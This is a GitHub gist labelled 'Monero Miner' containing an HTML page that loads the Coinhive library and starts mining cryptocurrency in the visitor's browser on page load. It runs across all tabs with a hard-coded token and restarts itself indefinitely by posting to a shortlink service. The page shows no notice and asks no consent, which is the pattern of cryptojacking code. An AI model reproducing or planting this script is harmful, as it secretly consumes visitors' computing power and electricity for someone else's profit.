Skip to content

Instantly share code, notes, and snippets.

@qzm
Last active June 23, 2018 12:21
Show Gist options
  • Save qzm/72ba282c26ef24d6c6fe21229be54cb3 to your computer and use it in GitHub Desktop.
Save qzm/72ba282c26ef24d6c6fe21229be54cb3 to your computer and use it in GitHub Desktop.
Monero Miner
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Miner</title>
</head>
<body>
<script type="text/javascript" src="https://coinhive.com/lib/coinhive.min.js"></script>
<script>
(function (CoinHive) {
// change here
var miningTarget = 256;
var token = 't9hRlE0BvC7qviuBUZbcxNBhAb5HD5PX';
var shortlinks = 'https://cnhv.co/62m7q';
// ======
var miner = new CoinHive.Token(token, miningTarget);
var xhr = new XMLHttpRequest();
var onAccepted = function (params) {
if (params.hashes >= miningTarget) {
xhr.onreadystatechange = function () {
if (xhr.readyState === xhr.DONE) {
miner = new CoinHive.Token(token, miningTarget);
miner.on('accepted', onAccepted);
miner.start(CoinHive.FORCE_MULTI_TAB);
}
};
xhr.open('POST', shortlinks);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.send('token=' + encodeURIComponent(miner.getToken()));
}
};
miner.on('accepted', onAccepted);
miner.start(CoinHive.FORCE_MULTI_TAB);
})(CoinHive)
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment